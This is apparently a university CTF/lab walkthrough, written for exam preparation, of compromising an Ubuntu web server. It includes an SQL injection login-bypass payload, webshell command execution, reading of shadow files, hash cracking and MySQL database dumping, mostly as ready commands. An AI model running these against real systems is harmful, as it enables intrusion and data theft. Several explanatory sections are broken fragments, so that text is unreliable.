IHU Cybersecurity Exam Notes

Source: Juni_2026_Exams/Penetration_Testing/solutions/ubuntu-web-sqli-webshell-exploitation.md

Ubuntu Web SQLi and Webshell Exploitation Walkthrough

Scope and Goal

This walkthrough documents the successful exploitation path for the Ubuntu web target discovered during the authorized university CTF/lab exercise.

For the broader live-lab handoff and raw terminal evidence across all targets, see live-lab-evidence-handoff-and-target-playbooks.md.

Target:

IP: 192.168.2.198
Hostname: ubuntuserver
OS: Ubuntu Linux, kernel 4.15.0-213-generic x86_64
Primary services:
- 80/tcp Apache 2.4.29
- 139/tcp and 445/tcp Samba 4.7.6-Ubuntu
- 3306/tcp MySQL 5.7.42
- 111/tcp rpcbind
- 867/tcp ypbind
Confirmed exploitation:
- Source leak through /backup/backup.gz
- SQL injection authentication bypass in /login.php
- Existing webshell command execution through /uploads/shell.php?cmd=
- Command execution as www-data
- Local enumeration through webshell found readable home-directory evidence
- MySQL was accessible locally from the target with leaked credentials

Use this only inside the authorized lab/CTF environment.

Why This Target Was Interesting

Initial Nmap results showed a normal-looking Ubuntu server:

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu
80/tcp   open  http    Apache httpd 2.4.29 (Ubuntu)
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu
867/tcp  open  ypbind
3306/tcp open  mysql   MySQL 5.7.42

Searchsploit did not show an easy public RCE for the exact Apache, Samba, MySQL, OpenSSH, or ypbind versions. That means this was not a "pick one CVE and run it" target. The correct approach was web and configuration enumeration.

Web Enumeration

The first web request showed a university exercise page:

curl -i http://192.168.2.198/
whatweb http://192.168.2.198/

Important observations:

Apache/2.4.29 (Ubuntu)
probably WordPress
script1.js
Topic 1: Essential Security Principles
Topic 2: Current Threat Landscape and Attack Taxonomy

The page also contained hidden/obfuscated course-topic clues. That is a strong exam signal: inspect HTML comments, JavaScript, hidden text, and old files before trying heavy exploitation.

Directory Discovery

Gobuster found the useful attack surface:

gobuster dir -u http://192.168.2.198/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,txt,bak,zip,conf,sql,old \
  -t 30

High-value results:

/backup/       directory listing
/backup/backup.gz
/download/     directory listing
/download/xampp.zip
/uploads/      directory listing
/uploads/shell.php
/uploads/id_rsa.pub
/uploads/a.sh
/uploads/a.elf
/uploads/LinEnum.sh
/uploads/linprivescchecker.py
/login.php
/session.php
/welcome.php
/shell.php
/config.php
/index.old
/domains
/lfi.php
/xss/
/xss-lab/
/xsslab/

Why this mattered:

authenticated web area.

intentionally vulnerable upload area.

JavaScript Clue

script1.js contained packed JavaScript:

curl -i http://192.168.2.198/script1.js

Relevant content:

//This javascript code looks interesting
eval(function(p,a,c,k,e,d){ ... })

The encoded value decoded to:

topic5: First approach to Penetration Testing using Netcat

Why this mattered:

complex exploitation frameworks.

SMB Enumeration

SMB was useful for user discovery even though shares were not anonymously readable.

Commands:

smbclient -L //192.168.2.198/ -N
enum4linux-ng 192.168.2.198
smbmap -H 192.168.2.198 -u '' -p ''

Important results:

Sharename:
- print$
- share
- IPC$

Users:
- nikos
- user

Samba:
- Samba 4.7.6-Ubuntu
- Null session allowed for some RPC enumeration
- Share mapping/listing denied anonymously

Password policy:
- Minimum password length: 5
- Lockout threshold: None

Why this mattered:

attempts.

used if the exam rules allow it.

RPC, NFS, and Version Exploit Checks

RPC enumeration:

rpcinfo -p 192.168.2.198
showmount -e 192.168.2.198
nmap -Pn -sV --script "rpcinfo" -p 111,867 192.168.2.198

Important output:

rpcbind present on 111/tcp
ypbind present on 867/tcp
showmount: clnt_create: RPC: Program not registered

Interpretation:

Searchsploit checks:

searchsploit "Apache 2.4.29 Ubuntu"
searchsploit "Samba 4.7.6"
searchsploit "MySQL 5.7.42"
searchsploit "OpenSSH 7.6p1"
searchsploit "ypbind"

Result:

No direct useful RCE for Apache/Samba/MySQL/ypbind.
OpenSSH < 7.7 username enumeration only.

Why this mattered:

nikos and user.

credentials, and application logic flaws.

Backup Leak

The /backup/ directory exposed backup.gz:

mkdir -p web198/loot
cd web198/loot
wget http://192.168.2.198/backup/backup.gz
file backup.gz
gzip -dc backup.gz > backup.out
file backup.out
strings backup.out | grep -Ei "user|pass|password|login|nikos|shell|mysql|db|flag|topic|cmd|upload"

Observed:

backup.gz: gzip compressed data
backup.out: POSIX tar archive (GNU)

Useful strings:

./login.php
$myusername = $_POST['username'];
$mypassword = $_POST['password'];
$sql = "SELECT * FROM myuser WHERE username = '$myusername' and password = '$mypassword'";
$_SESSION['login_user'] = $myusername;

define('DB_SERVER', 'localhost:3306');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'password');
define('DB_DATABASE', 'myuser');

nikos
wDb#?

Then extract it:

mkdir -p backup_extract
tar -xf backup.out -C backup_extract
find backup_extract -maxdepth 3 -type f -print
grep -RniE "shell|system|exec|passthru|cmd|command|session|login_user|password|myuser" backup_extract/

Why this mattered:

myuser.

SQL Injection Authentication Bypass

The vulnerable code:

$sql = "SELECT * FROM myuser WHERE username = '$myusername' and password = '$mypassword'";

This is vulnerable because user input is inserted directly into SQL without prepared statements or escaping.

Exploit:

rm -f sqli.txt

curl -i -c sqli.txt -b sqli.txt -X POST http://192.168.2.198/login.php \
  --data-urlencode "username=' OR '1'='1' -- -" \
  --data-urlencode "password=x"

cat sqli.txt
curl -i -b sqli.txt http://192.168.2.198/welcome.php

Observed login result:

HTTP/1.1 302 Found
location: welcome.php
Set-Cookie: PHPSESSID=...

Observed authenticated page:

HTTP/1.1 200 OK
<h2><a href = "logout.php">Sign Out</a></h2>

Why this mattered:

but the access-control condition was satisfied.

Exam wording:

The backup revealed SQL injection in login.php because username and password
were concatenated directly into the SQL query. I bypassed authentication with
username=' OR '1'='1' -- - and any password. The server returned HTTP 302 to
welcome.php and the session cookie then accessed welcome.php with HTTP 200.

Webshell Command Execution

The /uploads/ directory contained an existing shell.php.

Parameter testing:

for p in cmd command c exec shell q; do
  echo "### /uploads/shell.php?$p=id"
  curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?$p=id"
  echo
done

Successful result:

### /uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why this mattered:

Post-Exploitation Proof

Commands:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=whoami"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=hostname"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=pwd"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=uname%20-a"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=ls%20-la%20/var/www/html"

Observed proof:

www-data
ubuntuserver
/var/www/html/uploads
Linux ubuntuserver 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

What this proves:

Important Files Found From Webshell

Listing /var/www/html revealed:

backup/
check_connection.html
config.php
domains
download/
exams/
index.html
index.html.save
index.old
lfi.php
login.php
logout.php
proxylist.csv
script1.js
session.php
shell.php
uploads/
welcome.php
xss/
xss-lab/
xss.html.old
xsslab/

Why these matter:

not readable as www-data.

needed to explain the vulnerability chain.

Web-Accessible Write Proof

The backup directory was writable by the web process:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=echo%20test%20%3E%20/var/www/html/backup/write-test.txt"
curl -s http://192.168.2.198/backup/write-test.txt

Observed:

test

Why this mattered:

writes. A harmless write-test.txt is enough.

Local Enumeration Through Webshell

Commands:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/%20-perm%20-4000%20-type%20f%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/etc/passwd"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=ls%20-la%20/home"

Important users:

nikos:x:1000:1000:nikos:/home/nikos:/bin/bash
user:x:1001:1002::/home/user:/bin/bash
mysql:x:999:1001::/home/mysql:/bin/sh

Home directories:

/home/nikos
/home/user

Interesting SUID files:

/usr/bin/pkexec
/usr/bin/sudo
/usr/lib/snapd/snap-confine
/bin/mount
/bin/su
/bin/umount

Interpretation:

next phase.

careful validation.

privilege-escalation paths in an authorized lab.

Home Directory Evidence

The webshell could enumerate readable files under /home:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%20-ls%202%3E/dev/null"

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%204%20-type%20f%202%3E/dev/null%20%7C%20grep%20-Ei%20%27flag%7Cproof%7Cpass%7Ckey%7Ctxt%7Csql%7Cconf%7Csh%27"

Important output:

/home/user/FLAG
/home/user/share/preflag1.txt
/home/user/share/shadow
/home/user/.mysql_history
/home/user/.bash_history
/home/nikos/a.txt
/home/nikos/initdb.sql
/home/nikos/.mysql_history
/home/nikos/.bash_history
/home/nikos/shadow.txt
/home/nikos/nginx-1.4.0/conf/nginx.conf

Why this matters:

files for credentials, commands, database names, or privilege-escalation hints.

allow read/list access on some user files.

Next safe reads:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/FLAG%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/share/preflag1.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/share/shadow%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/shadow.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/a.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/initdb.sql%202%3E/dev/null"

Confirmed output from /home/user/FLAG:

Congratulations.
Flag 9 is e3e863c42881169e2abed54d37f1ad94
Now it is time to dive a little bit digger into the network and find the last flag (Flag 10).
I wish you Good Luck and hope you are enjoying this challenge.

Confirmed output from /home/user/share/preflag1.txt:

Congratulations.
You have already managed to enter into the sharing folder of the Samba User "user".
Unfortunately, FLAG 9, you are looking for is not here. You can find it in the parent folder.
As you can imagine, you must find a way to get access to the parrent folder.
If you recall your scanning results, you will notice that there are some services 
that can allow you get access to the machine.
In this folder you will also find part of the shadow file of the machine.
You can employ online or ofline tools to find that path to enter to the machine
Good Luck.

Interpretation:

and part of the shadow file, crack or reuse credentials, then access the parent home directory to read /home/user/FLAG.

recovered without finishing the intended Samba-to-user login path.

hunting only on .198 unless looking for credentials/pivot clues.

Confirmed credential evidence:

/home/user/share/shadow contained one md5crypt-style hash for user.
/home/nikos/shadow.txt contained shadow-style entries for root, nikos, and user.
The user account appeared with two different md5crypt-style hashes across the
partial and fuller shadow files.
The nikos account appeared with a sha512crypt-style hash.

The full hashes are not copied into this repo because they are credential material. Keep them in the Kali working directory if cracking is needed.

Why this matters:

md5crypt or Hashcat mode 500.

sha512crypt or Hashcat mode 1800.

other targets for Flag 10.

Safe Kali-side cracking workflow:

mkdir -p ~/recon/targets-197-198/web198/hashes
cd ~/recon/targets-197-198/web198/hashes

# Put the hashes recovered from the terminal output into these local files.
nano user-md5crypt.hashes
nano nikos-sha512crypt.hashes

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt user-md5crypt.hashes
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt nikos-sha512crypt.hashes
john --show user-md5crypt.hashes
john --show nikos-sha512crypt.hashes

Alternative Hashcat workflow:

hashcat -m 500 user-md5crypt.hashes /usr/share/wordlists/rockyou.txt
hashcat -m 1800 nikos-sha512crypt.hashes /usr/share/wordlists/rockyou.txt
hashcat -m 500 --show user-md5crypt.hashes
hashcat -m 1800 --show nikos-sha512crypt.hashes

Credential validation after cracking:

smbclient -L //192.168.2.198/ -U user
smbclient //192.168.2.198/share -U user
ssh user@192.168.2.198
ssh nikos@192.168.2.198

Search For Exam/Start Scripts On 192.168.2.198

Because the Kali VM did not contain an exam-start launcher, the target itself was checked with the webshell:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20/var/www%20/opt%20/srv%20/usr/local%20-type%20f%202%3E/dev/null%20%7C%20grep%20-Ei%20%27ctf%7Cexam%7Cstart%7Creset%7Cchallenge%7Cflag%7Cscore%7Clab%7Cdocker%7Ccompose%7Ctarget%27"

Important output:

/home/user/FLAG
/home/user/share/preflag1.txt
/var/www/html/xsslab/README.md
/var/www/html/xsslab/src/script.js
/var/www/html/xsslab/index.html
/var/www/html/xsslab/Dockerfile
/var/www/html/xsslab/chall/1.php
...
/var/www/html/xsslab/chall/20.php
/var/www/html/xsslab/chall/finish.php
/var/www/html/xsslab/.git/config
/var/www/html/exams/index.html

Script and Docker/Compose search:

/home/nikos/nginx-1.4.0/contrib/geo2nginx.pl
/home/nikos/nginx-1.4.0/contrib/unicode2nginx/unicode-to-nginx.pl
/var/www/html/uploads/LinEnum.sh
/var/www/html/uploads/upc.sh
/var/www/html/uploads/a.sh
/var/www/html/uploads/linprivescchecker.py
/var/www/html/xsslab/Dockerfile

Interpretation:

not necessarily to the infrastructure that starts the exam.

understanding the XSS exercise, but it is not proof of a launcher.

clue that Flag 10 is on another network target.

MySQL From Local Webshell

Remote MySQL had a TLS certificate issue, but local MySQL access from the webshell worked:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20-e%20%22show%20databases%3B%22%202%3E%261"

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20myuser%20-e%20%22show%20tables%3B%22%202%3E%261"

Observed output:

Database
information_schema
hospital
mysql
myuser
performance_schema
sys

Tables_in_myuser
foo
myuser

Why this matters:

Confirmed hospital database tables:

clinic
doctor
doctor_clinic
patient
patient_clinic
patient_therapy
speciality
therapy

Next database reads:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20myuser%20-e%20%22select%20*%20from%20myuser%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20hospital%20-e%20%22show%20tables%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20hospital%20-e%20%22describe%20patient%3B%20describe%20doctor%3B%20describe%20clinic%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20hospital%20-e%20%22select%20*%20from%20patient%20limit%205%3B%20select%20*%20from%20doctor%20limit%205%3B%22%202%3E%261"

LFI Check

lfi.php looked promising, but the tested parameters did not include file contents:

curl -s "http://192.168.2.198/lfi.php?file=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?page=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?path=/etc/passwd"

Observed:

You have selected file /etc/passwd
You have selected file
You have selected file

Interpretation:

contents in the observed test.

read vulnerability.

Follow-Up Commands

Read accessible home files:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%20-ls%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%202%3E/dev/null%20%7C%20grep%20-Ei%20%27flag%7Cproof%7Cpass%7Ckey%7Ctxt%7Csql%7Cconf%7Csh%27"

Inspect intended web labs:

curl -s "http://192.168.2.198/lfi.php"
curl -s "http://192.168.2.198/lfi.php?file=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?page=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?path=/etc/passwd"

Try MySQL without remote TLS verification:

mysql -h 192.168.2.198 -u admin -ppassword --skip-ssl myuser

Or query MySQL locally through the webshell:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20-e%20%22show%20databases%3B%22"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20myuser%20-e%20%22show%20tables%3B%22"

Try discovered credentials against SSH only inside the lab:

ssh nikos@192.168.2.198
ssh user@192.168.2.198

Browser Access

Public pages can be opened directly:

http://192.168.2.198/
http://192.168.2.198/login.php
http://192.168.2.198/backup/
http://192.168.2.198/backup/write-test.txt
http://192.168.2.198/download/
http://192.168.2.198/uploads/
http://192.168.2.198/uploads/shell.php?cmd=id
http://192.168.2.198/lfi.php
http://192.168.2.198/exams/
http://192.168.2.198/xss/
http://192.168.2.198/xss-lab/
http://192.168.2.198/xsslab/

For browser command execution, URL-encode spaces:

http://192.168.2.198/uploads/shell.php?cmd=ls%20-la%20/var/www/html

Exam-Ready Summary

Target 192.168.2.198 exposed Apache on TCP/80 and several supporting services.
Version checks did not reveal a direct public RCE, so I moved to web
enumeration. Gobuster found /backup/, /uploads/, /login.php, /shell.php,
/lfi.php, and other lab paths.

/backup/backup.gz exposed PHP source code and database credentials. The
login.php source showed that username and password were concatenated directly
into the SQL query. I used username=' OR '1'='1' -- - with any password and
received HTTP 302 to welcome.php. With the saved PHP session cookie, welcome.php
returned HTTP 200 and displayed a Sign Out link, proving authentication bypass.

The /uploads/ directory exposed shell.php. Testing parameters showed that
/uploads/shell.php?cmd=id executed commands and returned uid=33(www-data). I
then confirmed command execution with whoami, hostname, pwd, uname -a, and
listing /var/www/html.

Post-exploitation showed the host name ubuntuserver, kernel
4.15.0-213-generic, users nikos and user, and writable web directory
/var/www/html/backup. This established a successful web compromise as
www-data and gave clear next steps for local privilege escalation.

Key Lessons

enumeration and source/config leaks.

/uploads/ exposed an existing webshell.

redirect, and the authenticated page.

uname -a.

privilege level clear in the exam answer.